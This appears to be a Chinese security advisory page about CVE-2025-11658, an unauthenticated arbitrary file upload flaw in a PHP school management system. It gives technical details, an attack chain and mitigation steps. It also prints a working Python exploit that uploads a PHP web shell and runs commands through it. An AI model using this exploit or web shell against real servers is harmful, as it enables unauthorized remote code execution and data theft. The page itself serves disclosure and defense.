IPBUF安全漏洞报告
English
CVE-2025-11658 CVSS 7.3 高危

CVE-2025-11658:School Management System任意文件上传漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-11658
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ProjectsAndPrograms School Management System

相关标签

任意文件上传Unrestricted File UploadWeb Shell远程代码执行School Management SystemProjectsAndProgramsPHP高危漏洞CVE-2025-11658无需认证

漏洞概述

CVE-2025-11658是ProjectsAndPrograms School Management System(学校管理系统)中存在的一个高危安全漏洞。该漏洞位于系统的/assets/changeSllyabus.php文件中,涉及对File参数的操作未进行充分的验证和过滤,导致攻击者可以实施无限制的文件上传攻击。

该漏洞的CVSS 3.1评分为7.3,属于高危级别。攻击者可以通过网络远程利用该漏洞,无需任何身份认证(PR:N),也无需用户交互(UI:N)。一旦成功利用,攻击者可以将恶意文件(如Web Shell)上传到服务器上,从而获得对目标系统的远程控制权限。

该漏洞的影响范围包括机密性、完整性和可用性的低级别影响(C:L/I:L/A:L)。虽然单项影响评级为低,但由于该漏洞可作为进一步攻击的入口点(例如上传Web Shell后执行任意代码),其实际危害可能被放大。该产品的开发模式为滚动发布(rolling release),这意味着系统持续交付更新,没有固定的版本号,因此难以确定具体受影响的版本范围,也无法通过版本号来定位修复版本。

目前该漏洞的利用代码已经公开(exploit is now public and may be used),这大大增加了被恶意利用的风险。安全研究人员已在GitHub上发布了相关的PoC和漏洞分析(参考链接:https://github.com/qqy-123/cve/issues/3)。鉴于该漏洞利用难度低且影响明确,建议相关用户和组织尽快采取防护措施。

技术细节

该漏洞的核心问题在于/assets/changeSllyabus.php文件对用户上传的文件缺乏必要的安全验证。具体技术细节如下:

1. **漏洞位置**:/assets/changeSllyabus.php文件中的File参数处理逻辑存在缺陷。该文件原本用于更改课程大纲(changeSyllabus),但其文件上传功能未对上传文件的类型、扩展名和内容进行严格的验证。

2. **漏洞原理**:在正常的文件上传场景中,服务器应当验证上传文件的MIME类型、文件扩展名白名单、文件内容签名等信息,以防止恶意文件的上传。然而,该漏洞的实现中缺少这些关键的安全检查,导致攻击者可以上传任意类型的文件,包括PHP脚本文件。

3. **利用方式**:攻击者首先构造一个包含恶意PHP代码的文件(如webshell.php),然后通过HTTP POST请求将该文件提交到/assets/changeSllyabus.php端点。由于服务器未验证文件类型,该文件将被成功上传到服务器的/assets/目录下。攻击者随后可以通过浏览器直接访问上传的PHP文件,从而执行服务器端的任意PHP代码。

4. **攻击条件**:该漏洞的利用条件极为宽松——攻击者仅需能够通过网络访问目标系统即可发起攻击,无需任何身份凭证或用户交互。这使得该漏洞特别容易被自动化攻击工具利用。

5. **危害升级**:虽然该漏洞本身的CVSS影响评级为低(C:L/I:L/A:L),但通过上传Web Shell,攻击者可以进一步获取系统权限、窃取敏感数据、植入后门或进行横向移动,实际危害远超初始评级。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或搜索引擎发现目标系统运行ProjectsAndPrograms School Management System,识别出/assets/changeSllyabus.php端点存在文件上传功能。
STEP 2
步骤2:构造恶意Payload
攻击者构造一个包含PHP代码的恶意文件(如webshell),该文件在被服务器解析后可执行任意系统命令。
STEP 3
步骤3:发送上传请求
攻击者通过HTTP POST请求将恶意文件上传到/assets/changeSllyabus.php端点。由于服务器未对文件类型和扩展名进行验证,恶意文件被成功上传到服务器。
STEP 4
步骤4:访问上传的恶意文件
攻击者通过浏览器或脚本直接访问已上传的PHP文件,触发服务器端代码执行,获得Web Shell访问权限。
STEP 5
步骤5:系统控制与持久化
攻击者利用Web Shell执行系统命令,获取服务器权限,窃取敏感数据,植入持久化后门,或进行进一步的横向移动攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11658 - School Management System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /assets/changeSllyabus.php # The File parameter does not validate file type/extension, allowing arbitrary file upload import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" UPLOAD_PATH = "/assets/changeSllyabus.php" SHELL_PATH = "/assets/" # Malicious PHP webshell payload PHP_SHELL = b"""<?php // CVE-2025-11658 PoC - Webshell if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" def exploit(target_url): upload_url = target_url.rstrip('/') + UPLOAD_PATH # Prepare the malicious file for upload files = { "File": ("shell.php", PHP_SHELL, "application/x-php") } print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious PHP shell to: {upload_url}") try: # Send the upload request - no authentication required response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload request sent successfully (HTTP {response.status_code})") shell_url = target_url.rstrip('/') + SHELL_PATH + "shell.php" print(f"[*] Attempting to access uploaded shell at: {shell_url}") # Verify the shell is accessible shell_check = requests.get(shell_url + "?cmd=id", timeout=10) if shell_check.status_code == 200 and ("uid=" in shell_check.text or "www-data" in shell_check.text): print(f"[+] SUCCESS! Shell is accessible at: {shell_url}") print(f"[+] Command execution confirmed: {shell_check.text.strip()}") return True else: print(f"[-] Shell uploaded but not accessible (HTTP {shell_check.status_code})") # Try alternative paths for path in ["/assets/uploads/shell.php", "/uploads/shell.php", "/shell.php"]: alt_url = target_url.rstrip('/') + path alt_check = requests.get(alt_url + "?cmd=id", timeout=10) if alt_check.status_code == 200 and "uid=" in alt_check.text: print(f"[+] Shell found at alternative path: {alt_url}") return True else: print(f"[-] Upload failed (HTTP {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if exploit(TARGET_URL): print("\n[!] Exploitation successful - server is vulnerable to CVE-2025-11658") else: print("\n[-] Exploitation failed or target is not vulnerable")

影响范围

ProjectsAndPrograms School Management System(commit 6b6fae5426044f89c08d0dd101c7fa71f9042a59及之前版本)

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx的location规则或Apache的.htaccess)禁止/assets/目录及其子目录中的PHP脚本执行;2)部署WAF规则拦截针对/assets/changeSllyabus.php的可疑上传请求;3)定期检查/assets/目录中是否存在可疑的PHP文件,发现后立即删除;4)对服务器进行全面的安全审计,检查是否已存在Web Shell后门;5)限制/assets/changeSllyabus.php端点的访问,仅允许可信IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表